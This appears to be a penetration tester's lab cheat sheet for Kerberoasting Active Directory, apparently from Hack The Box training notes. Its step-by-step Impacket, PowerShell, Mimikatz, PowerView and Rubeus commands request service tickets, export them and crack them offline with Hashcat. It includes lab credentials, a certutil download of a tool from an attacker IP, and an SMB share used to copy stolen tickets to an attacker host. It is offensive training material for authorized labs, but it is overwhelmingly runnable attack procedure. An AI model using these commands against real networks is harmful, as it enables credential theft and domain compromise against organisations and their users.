Kerberoasting
Depending on your position in a network, this attack can be performed in multiple ways:
- From a non-domain joined Linux host using valid domain user credentials.
- From a domain-joined Linux host as root after retrieving the keytab file.
- From a domain-joined Windows host authenticated as a domain user.
- From a domain-joined Windows host with a shell in the context of a domain account.
- As SYSTEM on a domain-joined Windows host.
- From a non-domain joined Windows host using runas /netonly.
Kerberoasting - from Linux
🔥 Kerberoasting with GetUserSPNs.py
A prerequisite to performing Kerberoasting attacks is either - domain user credentials (cleartext or just an NTLM hash if using Impacket) - a shell in the context of a domain user - or account such as SYSTEM. Once we have this level of access, we can start. We must also know which host in the domain is a Domain Controller, so we can query it.
Listing SPN Accounts with GetUserSPNs.py
Start by just gathering a listing of SPNs in the domain - set of valid domain credentials - IP address of a Domain Controller.
Requesting all TGS Tickets (op.1)
Pull all TGS tickets for offline processing using the -request flag. The TGS tickets will be output in a format that can be readily provided to Hashcat or John the Ripper for offline password cracking attempts.
Requesting a Single TGS ticket (op.2)
We can also be more targeted and request just the TGS ticket for a specific account. Let's try requesting one for just the sqldev account.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/<USER-NAME> -request-user <TARGET-USER-NAME>
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/htb-student -request-user SAPService #Passowrd: Academy_student_AD!
# /opt/tools/impacket/examples/GetUserSPNs.py -dc-ip $IP $DOMAIN/Administrator:'P@$$W0rd' -request-user SQLService
Saving the TGS Ticket to an Output File
To facilitate offline cracking, it is always good to use the -outputfile flag to write the TGS tickets to a file that can then be run using Hashcat on our attack system or moved to a GPU cracking rig.
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/<USER-NAME> -request-user <TARGET-USER-NAME> -outputfile hash.txt
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/htb-student -request-user SAPService -outputfile hash.txt #Passowrd: Academy_student_AD!
Cracking the Ticket Offline with Hashcat
Here we've written the TGS ticket for the SAPService user to a file named hash.txt. Now we can attempt to crack the ticket offline using Hashcat hash mode 13100.
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force
Testing Authentication against a Domain Controller
sudo crackmapexec smb 172.16.5.5 -u <USER-NAME> -p <PASSWORD>
# sudo crackmapexec smb 172.16.5.5 -u SAPService -p !SapperFi2
Kerberoasting - from Windows
🔥 Kerberoasting - Semi Manual method
Listing SPN Accounts with setspn.exe
Requesting all TGS Tickets with setspn.exe (op.1)
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Requesting a Single TGS ticket (op.2)
Using PowerShell, we can request TGS tickets for an account in the shell and load them into memory. Once they are loaded into memory, we can extract them using Mimikatz.
- The Add-Type cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object - The -AssemblyName parameter allows us to specify an assembly that contains types that we are interested in using - System.IdentityModel is a namespace that contains different classes for building security token services.New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Extracting Tickets from Memory with Mimikatz
> mimikatz.exe
mimikatz> privilege::debug
mimikatz> base64 /out:true
mimikatz> kerberos::list /export
Preparing the Base64 Blob for Cracking
Placing the Output into a File as .kirbi
Extracting the Kerberos Ticket using kirbi2john.py
Modifiying crack_file for Hashcat
Szalek@htb[/htb]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Cracking the Hash with Hashcat
🔥 Kerberoasting - PowerView.ps1
# certutil -urlcache -f http://10.10.14.84/PowerView.ps1 PowerView.ps1
Import-Module .\PowerView.ps1
Using PowerView to Extract TGS Tickets
enumerating SPN accounts* - all info
enumerating SPN account - name list From here, we could target a specific user and retrieve the TGS ticket in Hashcat format.Target a Specific User (op.1)
Target all Users - Exporting to a CSV File (op.2)
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
Cracking the Hash with Hashcat
🔥 Kerberoasting - Rubeus.exe
Stats
We can first use Rubeus to gather some stats.
Request tickets (op.1)
Use Rubeus to request tickets for accounts with the admincount
attribute set to 1
.
Request ticket (op.2)
Cracking the Ticket with Hashcat & rockyou.txt
Commands
Command | Description |
---|---|
sudo python3 -m pip install . | Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host. |
GetUserSPNs.py -h | Impacket tool used to display the options and functionality of GetUserSPNs.py from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday | Impacket tool used to get a list of SPNs on the target Windows domain from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request | Impacket tool used to download/request (-request ) all TGS tickets for offline processing from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev | Impacket tool used to download/request (-request-user ) a TGS ticket for a specific user account (sqldev ) from a Linux-based host. |
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs | Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (-outputfile sqldev_tgs ) linux-based host. |
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force | Attempts to crack the Kerberos (-m 13100 ) ticket hash (sqldev_tgs ) using hashcat and a wordlist (rockyou.txt ) from a Linux-based host. |
setspn.exe -Q */* | Used to enumerate SPNs in a target Windows domain from a Windows-based host. |
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433" | PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host. |
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* \| Select-String '^CN' -Context 0,1 \| % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } | Used to download/request all TGS tickets from a WIndows-based host. |
mimikatz # base64 /out:true | Mimikatz command that ensures TGS tickets are extracted in base64 format from a Windows-based host. |
kerberos::list /export | Mimikatz command used to extract the TGS tickets from a Windows-based host. |
echo "<base64 blob>" \| tr -d \\n | Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host. |
cat encoded_file \| base64 -d > sqldev.kirbi | Used to output a file (encoded_file ) into a .kirbi file in base64 (base64 -d > sqldev.kirbi ) format from a Linux-based host. |
python2.7 kirbi2john.py sqldev.kirbi | Used to extract the Kerberos ticket . This also creates a file called crack_file from a Linux-based host. |
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat | Used to modify the crack_file for Hashcat from a Linux-based host. |
cat sqldev_tgs_hashcat | Used to view the prepared hash from a Linux-based host. |
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt | Used to crack the prepared Kerberos ticket hash (sqldev_tgs_hashcat ) using a wordlist (rockyou.txt ) from a Linux-based host. |
Import-Module .\PowerView.ps1 Get-DomainUser * -spn \| select samaccountname | Uses PowerView tool to extract TGS Tickets . Performed from a Windows-based host. |
Get-DomainUser -Identity sqldev \| Get-DomainSPNTicket -Format Hashcat | PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for Hashcat from a Windows-based host. |
Get-DomainUser * -SPN \| Get-DomainSPNTicket -Format Hashcat \| Export-Csv .\ilfreight_tgs.csv -NoTypeInformation | Exports all TGS tickets to a .CSV file (ilfreight_tgs.csv ) from a Windows-based host. |
cat .\ilfreight_tgs.csv | Used to view the contents of the .csv file from a Windows-based host. |
.\Rubeus.exe | Used to view the options and functionality possible with the tool Rubeus . Performed from a Windows-based host. |
.\Rubeus.exe kerberoast /stats | Used to check the kerberoast stats (/stats ) within the target Windows domain from a Windows-based host. |
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap | Used to request/download TGS tickets for accounts with the admin count set to 1 then formats the output in an easy to view & crack manner (/nowrap ) . Performed from a Windows-based host. |
.\Rubeus.exe kerberoast /user:testspn /nowrap | Used to request/download a TGS ticket for a specific user (/user:testspn ) the formats the output in an easy to view & crack manner (/nowrap ). Performed from a Windows-based host. |
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes | PowerView tool used to check the msDS-SupportedEncryptionType attribute associated with a specific user account (testspn ). Performed from a Windows-based host. |
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt | Used to attempt to crack the ticket hash using a wordlist (rockyou.txt ) from a Linux-based host . |
Notes
list SPN
list SPN$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$searchStr = "LDAP://"
$searchStr += $PDC + "/"
$Name = "DC=$($domainObj.Name.Replace('.',',DC='))"
$searchStr += $Name
$seracher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$searchStr)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$seracher.SearchRoot = $objDomain
$seracher.filter = "serviceprincipalname=*"
$items = $seracher.FindAll()
Write-Host "-------------------------"
Foreach($obj in $items) {
Foreach($prop in $obj.Properties) {
Write-Host "Display Name:" $prop.displayname
Write-Host "Serviceprincipal Name:" $prop.serviceprincipalname
}
Write-Host "-------------------------"
}
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSQL/CorpSqlServer.corp.com'
klist
# on kali
/opt/tools/impacket/examples/smbserver.py public .
# on windows
copy '0-00000000-user@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi' \\192.168.111.222\public\